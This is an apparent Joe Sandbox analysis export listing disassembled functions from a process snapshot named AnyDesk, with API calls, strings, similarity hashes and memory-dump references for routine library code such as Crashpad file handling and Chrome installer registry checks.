Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Token$CloseErrorHandleInformationLastOpenProcess$ConvertString
String ID:
API String ID: 1608810797-0
Opcode ID: 40fb57898508f49c6dae011441e10196fcf973624d0b05ee31a9b89965c99345
Instruction ID: 7378b08205b37df7a82f71e9f9a2f34651e7e6c413490bfd973d983c8bede6cd
Opcode Fuzzy Hash: 40fb57898508f49c6dae011441e10196fcf973624d0b05ee31a9b89965c99345
Instruction Fuzzy Hash: 4B218E35A40218FFEF019FA6DC89ABE7BBDEF05314F404451F912E2050E7719E62AB61

Uniqueness

Uniqueness Score: -1.00%

Function 69C3E6F0 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 349COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 69C3E754
GetWindowsDirectoryW.KERNEL32(?,00000104,00000000,?), ref: 69C3E798
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 69C3E7DB

Strings

Internet Explorer, xrefs: 69C3EB09
Microsoft, xrefs: 69C3EB1D
ProgramW6432, xrefs: 69C3E84B
Quick Launch, xrefs: 69C3EAF5

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Directory$FileModuleNameSystemWindows
String ID: Internet Explorer$Microsoft$ProgramW6432$Quick Launch
API String ID: 592745672-224070340
Opcode ID: c060a6734335728c84555876baa61a41167b6dadc8a4446ac1fdecc6d9ba436a
Instruction ID: 9568d229e6a76ef374b51b542943e724728479dbd88036626e006488d66878fa
Opcode Fuzzy Hash: c060a6734335728c84555876baa61a41167b6dadc8a4446ac1fdecc6d9ba436a
Instruction Fuzzy Hash: F4C1B034268310ABE614DB64EC55FAEB7E8BF81744F90492DF2519B0D0FB71A909CB63

Uniqueness

Uniqueness Score: -1.00%

Function 69C21E30 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 190fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,?), ref: 69C21E54

Part of subcall function 69C3FC31: std::invalid_argument::invalid_argument.LIBCONCRT ref: 69C3FC3D
Part of subcall function 69C3FC31: __CxxThrowException@8.LIBVCRUNTIME ref: 69C3FC4B

new.LIBCMT ref: 69C21F48
CreateFileW.KERNEL32(?,00000004,00000003,00000000,00000004,00000080,00000000), ref: 69C21F81
CreateFileW.KERNEL32(?,00000004,00000003,00000000,00000004,00000080,00000000,?,debug.log), ref: 69C22032

Strings

invalid string position, xrefs: 69C21EFC
\, xrefs: 69C21EAB
debug.log, xrefs: 69C21EDF, 69C21FC2

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: File$Create$Exception@8ModuleNameThrowstd::invalid_argument::invalid_argument
String ID: \$debug.log$invalid string position
API String ID: 3749634790-2581654245
Opcode ID: 357081b807ed9c750bd27df56aef875ac7788d23b681d0279dbacf4876f68b44
Instruction ID: 573e03dd2243737405e0dbe926cfcd0b20736da0babcdde007835d3a4f83de5c
Opcode Fuzzy Hash: 357081b807ed9c750bd27df56aef875ac7788d23b681d0279dbacf4876f68b44
Instruction Fuzzy Hash: 34510574A003189FDB24DF74EC55BAE77B4BF01718F504619E922AB2D0FB71AA06CB51

Uniqueness

Uniqueness Score: -1.00%

Function 69C5EEFE Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 69C5EF1F
RegCreateKeyExW.ADVAPI32(80000002,SOFTWARE\Google\No Chrome Offer Until,00000000,00000000,00000000,0002001F,00000000,?,?,00000000), ref: 69C5EF81
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000), ref: 69C5EFD4
RegCloseKey.ADVAPI32(?,?,00000000), ref: 69C5F03D

Strings

SOFTWARE\Google\No Chrome Offer Until, xrefs: 69C5EF6F

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CloseCreateFileModuleNameQueryValue
String ID: SOFTWARE\Google\No Chrome Offer Until
API String ID: 2815806617-1538224596
Opcode ID: f49bd3686145c2fb2060ff2561dceec454e2c8878d5f4d8753fe62c8b4d3b27e
Instruction ID: cf39ffc42617b61cd5baf187253e339af1e9b358d25ba3ef52fda5f475b64405
Opcode Fuzzy Hash: f49bd3686145c2fb2060ff2561dceec454e2c8878d5f4d8753fe62c8b4d3b27e
Instruction Fuzzy Hash: 423132B5A40228AFDB20CF11DC49FEAB7BCEB45310F8041AAF60A96141E7715A95CF69

Uniqueness

Uniqueness Score: -1.00%

Function 69C66B55 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 78fileCOMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(69C66322,69C66322,0000001C,?,00000000,00000001), ref: 69C66B7A
GetLastError.KERNEL32 ref: 69C66B93
SetEndOfFile.KERNEL32(69C66322), ref: 69C66BE1
GetLastError.KERNEL32 ref: 69C66BFA

Strings

SetFilePointerEx, xrefs: 69C66BB3
SetEndOfFile, xrefs: 69C66C1A
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc, xrefs: 69C66BA0, 69C66C07

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorFileLast$Pointer
String ID: SetEndOfFile$SetFilePointerEx$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc
API String ID: 1697706070-3222943609
Opcode ID: fbdadac08709b80108ec57b0bed737736f7402103d5f8840fa2870fc72b25824
Instruction ID: 075edeff228beb803e95bf72a4fd6e82f43836f6ae7388983b9a7f3b8f2e20f9
Opcode Fuzzy Hash: fbdadac08709b80108ec57b0bed737736f7402103d5f8840fa2870fc72b25824
Instruction Fuzzy Hash: 7A215735904B08BAEB14CFA0FDD2FAD7768BF01358F809455E6043A0D1FB3255865914

Uniqueness

Uniqueness Score: -1.00%

Function 69C5DDCB Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 69C5DE77
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 69C5DEFA
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 69C5DF8D
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 69C5DFA4

Part of subcall function 69C4C844: HeapAlloc.KERNEL32(00000000,0000010C,00000004,?,69C4C8A7,?,00000000,?,69C57B70,0000010C,00000004,?,0000010C,?,?,69C4DB9D), ref: 69C4C876

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 69C5E020
__freea.LIBCMT ref: 69C5E04B
__freea.LIBCMT ref: 69C5E057

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocHeapInfo
String ID:
API String ID: 2171645-0
Opcode ID: 50c4e2176e6e247271a7bc8e13c80de61e99358da63e3ee2f6903d6932b01917
Instruction ID: 563c7b4d5bd22db1ffdda85bb509174dc049a296ce414183c30a2e5c524bceb6
Opcode Fuzzy Hash: 50c4e2176e6e247271a7bc8e13c80de61e99358da63e3ee2f6903d6932b01917
Instruction Fuzzy Hash: 8B91D271E00316ABDF10CE64E840EEE7BB5AB59794F05862AE812E7181F775D870CB68

Uniqueness

Uniqueness Score: -1.00%

Function 69C59DD6 Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 69C59E45
_free.LIBCMT ref: 69C59E53
_free.LIBCMT ref: 69C59F81
_free.LIBCMT ref: 69C59F8C

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f61108f0a8b825492974f0b247afc1dfe8301811278908e8b899d6613912d57a
Instruction ID: 1a1887a081cd9580d4a068b2f1a62aebc8c8671ad9425f8572c6e2325df51f75
Opcode Fuzzy Hash: f61108f0a8b825492974f0b247afc1dfe8301811278908e8b899d6613912d57a
Instruction Fuzzy Hash: 0E61D3B5E04605AFDB20CF68E841B9ABBF5FF45710F5081AAEC45EB280F77099618B54

Uniqueness

Uniqueness Score: -1.00%

Function 69C49040 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,69C497B5,?,?,?,?,?,?), ref: 69C49082
__fassign.LIBCMT ref: 69C490FD
__fassign.LIBCMT ref: 69C49118
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 69C4913E
WriteFile.KERNEL32(?,?,00000000,69C497B5,00000000,?,?,?,?,?,?,?,?,?,69C497B5,?), ref: 69C4915D
WriteFile.KERNEL32(?,?,00000001,69C497B5,00000000,?,?,?,?,?,?,?,?,?,69C497B5,?), ref: 69C49196

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 2d6ed89d5ed36f3526697052d18092fe9b23a46de53c633a2160b3411bf30de4
Instruction ID: b946b100b0677b4ea3fc3f26c25a8fa2b84d0c874464d6033297481f9cb2c565
Opcode Fuzzy Hash: 2d6ed89d5ed36f3526697052d18092fe9b23a46de53c633a2160b3411bf30de4
Instruction Fuzzy Hash: C751E575E002599FDF00CFA8D945AEEBBF8FF49B10F10411AE955E7291E730AA41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 69C3B420 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 69C3B4AA
new.LIBCMT ref: 69C3B508
new.LIBCMT ref: 69C3B575

Strings

true, xrefs: 69C3B45C
null, xrefs: 69C3B4B8
false, xrefs: 69C3B52D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID: false$null$true
API String ID: 0-2913297407
Opcode ID: a6489fcf39540489a4fb520f7f300ca0056f60a4cd6b0dfb3c318ea86b050e82
Instruction ID: 084b49dffa0c13df5e702cc2b103e7bf8b233e43442227a9b56ec9dec1476a51
Opcode Fuzzy Hash: a6489fcf39540489a4fb520f7f300ca0056f60a4cd6b0dfb3c318ea86b050e82
Instruction Fuzzy Hash: 4C51E2799047499FD710CF78E441BAABBF5FF45304F0086AAC8999B602F731A64ACF51

Uniqueness

Uniqueness Score: -1.00%

Function 69C602FF Relevance: 10.6, APIs: 7, Instructions: 141sleepCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?), ref: 69C60349
CoUninitialize.OLE32(00000001,00000000,?,00000000), ref: 69C6038E
LaunchGoogleChrome.GCAPI(00000001,00000000,?,00000000), ref: 69C60381

Part of subcall function 69C5FFEC: CoInitializeEx.OLE32(00000000,00000002), ref: 69C60024
Part of subcall function 69C5FFEC: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000002,00000000,00000040,00000000), ref: 69C60039
Part of subcall function 69C5FFEC: GetCurrentProcessId.KERNEL32(?), ref: 69C60064
Part of subcall function 69C5FFEC: GetShellWindow.USER32 ref: 69C60087
Part of subcall function 69C5FFEC: GetWindowThreadProcessId.USER32(00000000), ref: 69C6008E
Part of subcall function 69C5FFEC: LocalFree.KERNEL32(?), ref: 69C600A2
Part of subcall function 69C5FFEC: CoUninitialize.OLE32 ref: 69C602D1

CoUninitialize.OLE32(00000001,00000000,?,00000000), ref: 69C603AF
LaunchGoogleChrome.GCAPI ref: 69C603C9
EnumWindows.USER32(69C5F056,?), ref: 69C6044C
Sleep.KERNEL32(0000000A), ref: 69C6046A

Part of subcall function 69C288E0: new.LIBCMT ref: 69C28900
Part of subcall function 69C288E0: new.LIBCMT ref: 69C2893C
Part of subcall function 69C288E0: new.LIBCMT ref: 69C28979

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: InitializeUninitialize$ChromeGoogleLaunchProcessWindow$CurrentEnumFreeLocalSecurityShellSleepThreadWindows
String ID:
API String ID: 1477501081-0
Opcode ID: 28b74b9a289c749cb37e95cf3d47b9633d27fd90ae2a72c6f552fc9c2e475b42
Instruction ID: 4845401c43c0e034f4de401853a0cc029cf4a4625bf8e1948ce021a16bf58474
Opcode Fuzzy Hash: 28b74b9a289c749cb37e95cf3d47b9633d27fd90ae2a72c6f552fc9c2e475b42
Instruction Fuzzy Hash: 0C51BF35D012589FCB00CFA5F991BEDBBB8BF05324F10412AE921B71A1FBB05909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 69C6767F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(%LOCALAPPDATA%,00000000,00000000,00000000,?,?,?,?,?,?,?,69C67616,?,69C6FB90,000000FF,69C78A68), ref: 69C6769E
ExpandEnvironmentStringsW.KERNEL32(%LOCALAPPDATA%,00000000,00000000,?,?,?,?,?,69C67616,?,69C6FB90,000000FF,69C78A68,00000000,Software\Google\Update\ClientState), ref: 69C676C8
GetTempPathW.KERNEL32(00000000,00000000,?,?,?,?,?,69C67616,?,69C6FB90,000000FF,69C78A68,00000000,Software\Google\Update\ClientState), ref: 69C676E9
GetTempPathW.KERNEL32(00000001,00000000,?,?,?,?,?,69C67616,?,69C6FB90,000000FF,69C78A68,00000000,Software\Google\Update\ClientState), ref: 69C67718

Strings

%LOCALAPPDATA%, xrefs: 69C67699, 69C676C3
User Data, xrefs: 69C6778C, 69C67791, 69C67799

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: EnvironmentExpandPathStringsTemp
String ID: %LOCALAPPDATA%$User Data
API String ID: 442586119-612141592
Opcode ID: ebd49cc4cbeeb24c22015eafb82e9aa879f58a7ae5f2627a67df2b1a18d8ed12
Instruction ID: ae01698d984d3ba3de1908d78b05b3d7a12cb5cb1201bea7c0f09ad3e8eef8dd
Opcode Fuzzy Hash: ebd49cc4cbeeb24c22015eafb82e9aa879f58a7ae5f2627a67df2b1a18d8ed12
Instruction Fuzzy Hash: 003142357002106BDB149A38BDE9E7F77ACEF82B64B10952EE806DB190FF20DC0182B0

Uniqueness

Uniqueness Score: -1.00%

Function 69C5F1A9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?,?,00000000,00000000,?,69C5EF48,?,?,00000208), ref: 69C5F1D9
GetFileVersionInfoW.VERSION(?,?,00002000,?,?,?,00000208), ref: 69C5F217
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,00002000,?,?,?,00000208), ref: 69C5F24A
VerQueryValueW.VERSION(?,?,?,?,\VarFileInfo\Translation,?,?,?,?,00002000,?,?,?,00000208), ref: 69C5F2C1

Strings

\StringFileInfo\%02X%02X%02X%02X\CompanyName, xrefs: 69C5F286
\VarFileInfo\Translation, xrefs: 69C5F23E

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: FileInfoQueryValueVersion$Size
String ID: \StringFileInfo\%02X%02X%02X%02X\CompanyName$\VarFileInfo\Translation
API String ID: 2099394744-937506062
Opcode ID: 1da150b9443c94917f10a65aceffcfed5bc4f0d6300ae5d83629c84da95cbbbb
Instruction ID: e650abd6ee291f6126e56e65f2ec9c6e3788387ac67083bea4a9679ec3b0b997
Opcode Fuzzy Hash: 1da150b9443c94917f10a65aceffcfed5bc4f0d6300ae5d83629c84da95cbbbb
Instruction Fuzzy Hash: DA3186F9A002286BEB24DA55EC41EDF77FCAB44200FD045D6FA25D3142EA309A64DB68

Uniqueness

Uniqueness Score: -1.00%

Function 69C43327 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,?,?,?,?,?,?,69C7B5AC,19930522,00000000,1FFFFFFF), ref: 69C4334E
_CallSETranslator.LIBVCRUNTIME ref: 69C43381
_GetRangeOfTrysToCheck.LIBVCRUNTIME ref: 69C433AA

Strings

MOC, xrefs: 69C43360
U", xrefs: 69C4333E
RCC, xrefs: 69C43368

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CallCheckEncodePointerRangeTranslatorTrys
String ID: MOC$RCC$U"
API String ID: 877623402-3732758283
Opcode ID: e67bbc61ef93d82a854acc5daf3d24b6e12e797a9617a8a47d3ccae3ae15dedc
Instruction ID: 66d05c86cfe2e0c1addd58ecb57f3ac9479bc6a79e63127256afd1bbad1f08db
Opcode Fuzzy Hash: e67bbc61ef93d82a854acc5daf3d24b6e12e797a9617a8a47d3ccae3ae15dedc
Instruction Fuzzy Hash: BE416B32600149EFDF02CF40D981EAEBB76FF88B14F259548E91467251E775ED51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 69C6411C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?), ref: 69C64149
LockFileEx.KERNEL32(00000000,00000002,00000000,000000FF,000000FF,?), ref: 69C6417F
GetLastError.KERNEL32 ref: 69C64198
new.LIBCMT ref: 69C641D9

Strings

c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc, xrefs: 69C641A5
LockFileEx, xrefs: 69C641B8

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: File$CreateErrorLastLock
String ID: LockFileEx$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc
API String ID: 3875127904-1259685872
Opcode ID: 557f46b00c23b8fd46f4f42f50a0d279b0caed766ed07457d56dd0132aac2a5d
Instruction ID: 61e94eec65d073cb7a9c58d0175f35f4bf54b28b351ac968d82b557cf3d25b51
Opcode Fuzzy Hash: 557f46b00c23b8fd46f4f42f50a0d279b0caed766ed07457d56dd0132aac2a5d
Instruction Fuzzy Hash: D931F535604314BFD720CFB8ECA1B9AB7E8BF05B24F104229F655EB2D1E73099008B90

Uniqueness

Uniqueness Score: -1.00%

Function 69C27950 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__Getcvt.LIBCPMT ref: 69C27968
__Getcvt.LIBCPMT ref: 69C2799A

Strings

true, xrefs: 69C279E9
false, xrefs: 69C279B6

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Getcvt
String ID: false$true
API String ID: 1921796781-2658103896
Opcode ID: 9c0830689b706f0b3eb7845bf9c81c4d2c8e6637f80644203ca52c0f1ec7158c
Instruction ID: 87d1dc6177375cfc987d60925de29a678fa0c600c0c41e2c05fe85d322dcc190
Opcode Fuzzy Hash: 9c0830689b706f0b3eb7845bf9c81c4d2c8e6637f80644203ca52c0f1ec7158c
Instruction Fuzzy Hash: 77319C359042549FEB10DF68A480BABBFB4AF46314F08C49ED8844F345E3B2EA008BA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C273E0 Relevance: 10.6, APIs: 7, Instructions: 87COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 69C273EE
std::_Lockit::_Lockit.LIBCPMT ref: 69C2740A
std::_Lockit::~_Lockit.LIBCPMT ref: 69C2742A
std::_Lockit::~_Lockit.LIBCPMT ref: 69C27471
std::_Facet_Register.LIBCPMT ref: 69C274AD
